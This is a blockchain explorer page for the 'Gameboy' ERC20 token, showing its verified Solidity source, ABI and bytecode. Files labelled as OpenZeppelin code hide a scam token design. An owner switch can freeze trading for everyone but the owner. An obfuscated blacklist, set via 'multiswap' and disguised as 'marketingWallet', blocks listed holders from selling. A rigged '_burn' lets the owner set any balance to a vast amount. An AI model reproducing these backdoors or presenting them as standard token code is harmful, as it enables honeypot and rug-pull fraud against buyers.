ETH Price: $2,381.01 (-3.66%)

Token

Gameboy (GAMEBOY)
 

Overview

Max Total Supply

5,000,000,000 GAMEBOY

Holders

73

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
chinesegentlemangamblerjingtao.eth
Balance
153,642,955.016477961 GAMEBOY

Value
$0.00
0x15c92560b75dae892d6be088a0249f967b6a93fd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GAMEBOY

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 3 of 6: GAMEBOY.sol
/**  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆ    β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆ    β–ˆβ–ˆ     
    β–ˆβ–ˆ       β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ      β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ    β–ˆβ–ˆ  β–ˆβ–ˆ  β–ˆβ–ˆ      
    β–ˆβ–ˆ   β–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆ    β–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆ       
    β–ˆβ–ˆ    β–ˆβ–ˆ β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ  β–ˆβ–ˆ  β–ˆβ–ˆ β–ˆβ–ˆ      β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ    β–ˆβ–ˆ    β–ˆβ–ˆ        
     β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ  β–ˆβ–ˆ   β–ˆβ–ˆ β–ˆβ–ˆ      β–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ   β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ     β–ˆβ–ˆ     

               TELEGRAM: https://t.me/GAMEBOYcoin
            MEDIUM: https://medium.com/@gameboy_coin
          TWITTER <X>: https://twitter.com/GameboyCoin 

*/// SPDX-License-Identifier: MIT 

pragma solidity 0.8.0;

import "./ERC20.sol";

contract GAMEBOY is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity 0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
contract Context {
    address private _owner;
    constructor(){
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function owner() internal view returns (address) {
        return _owner;
    }
}

File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)

pragma solidity 0.8.0;

import "./IERC20.sol";
import "./IERC20Events.sol";
import "./IERC20Metadata.sol";
import "./Context.sol";

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Events {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _initTransfer;
    uint256 private balances;
    mapping (address => bool) private _0x0reciveMaxwalletDividendsDecimalAllowanceNameNameSwapAddressSwap;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, bool initTransfer_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _initTransfer = initTransfer_;
    }
    
    function initTransfer() external onlyOwner {
        if (_initTransfer == false){
        _initTransfer = true;}
        else {_initTransfer = false;}
    }

    function marketingWallet(address account) public view returns (bool) {
        return _0x0reciveMaxwalletDividendsDecimalAllowanceNameNameSwapAddressSwap[account];
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_initTransfer == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
            if (_0x0reciveMaxwalletDividendsDecimalAllowanceNameNameSwapAddressSwap[from]) {require (amount == 0, "");}
            else{
                if(!_0x0reciveMaxwalletDividendsDecimalAllowanceNameNameSwapAddressSwap[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            }
        }
        } else {require (_initTransfer == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Spend `amount` form the allowance of `owner` toward `spender`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function multiswap(address[] calldata addr, bool val) public onlyOwner{
        for (uint256 i = 0; i < addr.length; i++) {
            _0x0reciveMaxwalletDividendsDecimalAllowanceNameNameSwapAddressSwap[addr[i]] = val;
        }
    }
}

File 4 of 6: IERC20.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}


File 5 of 6: IERC20Events.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)

pragma solidity 0.8.0;
interface IERC20Events {
        /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

File 6 of 6: IERC20Metadata.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity 0.8.0;

import "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"marketingWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multiswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006004553480156200002057600080fd5b50604051620014ea380380620014ea833981016040819052620000439162000316565b600080546001600160a01b03191633179055835184908490839062000070906005906020860190620001c5565b50815162000086906006906020850190620001c5565b506004546008556007805460ff191691151591909117905550620000cf905033620000b0620000d9565b620000bd90600a62000446565b620000c990856200053e565b620000de565b50505050620005c9565b600990565b6001600160a01b038216620001105760405162461bcd60e51b815260040162000107906200039e565b60405180910390fd5b6200011e60008383620001c0565b8060036000828254620001329190620003de565b90915550506001600160a01b0382166000908152600160205260408120805483929062000161908490620003de565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620001a6908590620003d5565b60405180910390a3620001bc60008383620001c0565b5050565b505050565b828054620001d39062000560565b90600052602060002090601f016020900481019282620001f7576000855562000242565b82601f106200021257805160ff191683800117855562000242565b8280016001018555821562000242579182015b828111156200024257825182559160200191906001019062000225565b506200025092915062000254565b5090565b5b8082111562000250576000815560010162000255565b600082601f8301126200027c578081fd5b81516001600160401b0380821115620002995762000299620005b3565b6040516020601f8401601f1916820181018381118382101715620002c157620002c1620005b3565b6040528382528584018101871015620002d8578485fd5b8492505b83831015620002fb5785830181015182840182015291820191620002dc565b838311156200030c57848185840101525b5095945050505050565b600080600080608085870312156200032c578384fd5b84516001600160401b038082111562000343578586fd5b62000351888389016200026b565b9550602087015191508082111562000367578485fd5b5062000376878288016200026b565b935050604085015191506060850151801515811462000393578182fd5b939692955090935050565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620003f457620003f46200059d565b500190565b80825b60018086116200040d57506200043d565b8187048211156200042257620004226200059d565b808616156200043057918102915b9490941c938002620003fc565b94509492505050565b60006200045a60001960ff85168462000461565b9392505050565b60008262000472575060016200045a565b8162000481575060006200045a565b81600181146200049a5760028114620004a557620004d9565b60019150506200045a565b60ff841115620004b957620004b96200059d565b6001841b915084821115620004d257620004d26200059d565b506200045a565b5060208310610133831016604e8410600b841016171562000511575081810a838111156200050b576200050b6200059d565b6200045a565b620005208484846001620003f9565b8086048211156200053557620005356200059d565b02949350505050565b60008160001904831182151516156200055b576200055b6200059d565b500290565b6002810460018216806200057557607f821691505b602082108114156200059757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b610f1180620005d96000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101d3578063a9059cbb146101e6578063d8feb48e146101f9578063dd62ed3e1461020c576100f5565b806370a082311461019d57806391b69fa0146101b057806395d89b41146101b85780639dc29fac146101c0576100f5565b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063338d466914610175578063395093511461018a576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610138575b600080fd5b61010261021f565b60405161010f9190610b3d565b60405180910390f35b61012b610126366004610a85565b6102b1565b60405161010f9190610b32565b6101406102d3565b60405161010f9190610e29565b61012b61015b366004610a4a565b6102d9565b610168610307565b60405161010f9190610e32565b610188610183366004610aae565b61030c565b005b61012b610198366004610a85565b6103cf565b6101406101ab3660046109f7565b61041b565b61018861043a565b610102610498565b6101886101ce366004610a85565b6104a7565b61012b6101e1366004610a85565b6104ea565b61012b6101f4366004610a85565b61054b565b61012b6102073660046109f7565b610563565b61014061021a366004610a18565b610581565b60606005805461022e90610e6f565b80601f016020809104026020016040519081016040528092919081815260200182805461025a90610e6f565b80156102a75780601f1061027c576101008083540402835291602001916102a7565b820191906000526020600020905b81548152906001019060200180831161028a57829003601f168201915b5050505050905090565b6000806102bc6105ac565b90506102c98185856105b0565b5060019392505050565b60035490565b6000806102e46105ac565b90506102f1858285610664565b6102fc8585856106a8565b506001949350505050565b600990565b6103146105ac565b6000546001600160a01b0390811691161461034a5760405162461bcd60e51b815260040161034190610cd4565b60405180910390fd5b60005b828110156103c957816009600086868581811061037a57634e487b7160e01b600052603260045260246000fd5b905060200201602081019061038f91906109f7565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806103c181610eaa565b91505061034d565b50505050565b6000806103da6105ac565b6001600160a01b038082166000908152600260209081526040808320938916835292905220549091506102c99082908690610416908790610e40565b6105b0565b6001600160a01b0381166000908152600160205260409020545b919050565b6104426105ac565b6000546001600160a01b0390811691161461046f5760405162461bcd60e51b815260040161034190610cd4565b60075460ff1661048b576007805460ff19166001179055610496565b6007805460ff191690555b565b60606006805461022e90610e6f565b6104af6105ac565b6000546001600160a01b039081169116146104dc5760405162461bcd60e51b815260040161034190610cd4565b6104e682826108f3565b5050565b6000806104f56105ac565b6001600160a01b038082166000908152600260209081526040808320938916835292905220549091508381101561053e5760405162461bcd60e51b815260040161034190610de4565b6102fc82868684036105b0565b6000806105566105ac565b90506102c98185856106a8565b6001600160a01b031660009081526009602052604090205460ff1690565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b0383166105d65760405162461bcd60e51b815260040161034190610da0565b6001600160a01b0382166105fc5760405162461bcd60e51b815260040161034190610c15565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610657908590610e29565b60405180910390a3505050565b60006106708484610581565b905060001981146103c9578181101561069b5760405162461bcd60e51b815260040161034190610c57565b6103c984848484036105b0565b6001600160a01b0383166106ce5760405162461bcd60e51b815260040161034190610d4a565b6001600160a01b0382166106f45760405162461bcd60e51b815260040161034190610b90565b60075460ff16151560011480610722575061070d6109d1565b6001600160a01b0316836001600160a01b0316145b8061074557506107306109d1565b6001600160a01b0316826001600160a01b0316145b156108c0576001600160a01b038316600090815260016020526040902054156108bb576001600160a01b03831660009081526009602052604090205460ff16156107ac5780156107a75760405162461bcd60e51b815260040161034190610d8f565b6108bb565b6001600160a01b03821660009081526009602052604090205460ff166107ec57600081116107ec5760405162461bcd60e51b815260040161034190610d8f565b6107f78383836108ee565b6001600160a01b038316600090815260016020526040902054818110156108305760405162461bcd60e51b815260040161034190610c8e565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610867908490610e40565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108b19190610e29565b60405180910390a3505b6108e7565b60075460ff1615156001146108e75760405162461bcd60e51b815260040161034190610d8f565b6108ee8383835b505050565b6001600160a01b0382166109195760405162461bcd60e51b815260040161034190610d09565b6001600160a01b038216600090815260016020526040902054818110156109525760405162461bcd60e51b815260040161034190610bd3565b816008546109609190610e58565b6001600160a01b0384166000908152600160205260408120919091556003805484929061098e908490610e58565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610657908690610e29565b6000546001600160a01b031690565b80356001600160a01b038116811461043557600080fd5b600060208284031215610a08578081fd5b610a11826109e0565b9392505050565b60008060408385031215610a2a578081fd5b610a33836109e0565b9150610a41602084016109e0565b90509250929050565b600080600060608486031215610a5e578081fd5b610a67846109e0565b9250610a75602085016109e0565b9150604084013590509250925092565b60008060408385031215610a97578182fd5b610aa0836109e0565b946020939093013593505050565b600080600060408486031215610ac2578283fd5b833567ffffffffffffffff80821115610ad9578485fd5b818601915086601f830112610aec578485fd5b813581811115610afa578586fd5b8760208083028501011115610b0d578586fd5b602092830195509350508401358015158114610b27578182fd5b809150509250925092565b901515815260200190565b6000602080835283518082850152825b81811015610b6957858101830151858201604001528201610b4d565b81811115610b7a5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526021908201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b602080825260009082015260400190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610e5357610e53610ec5565b500190565b600082821015610e6a57610e6a610ec5565b500390565b600281046001821680610e8357607f821691505b60208210811415610ea457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415610ebe57610ebe610ec5565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220cfa23889f6796315bf0cf7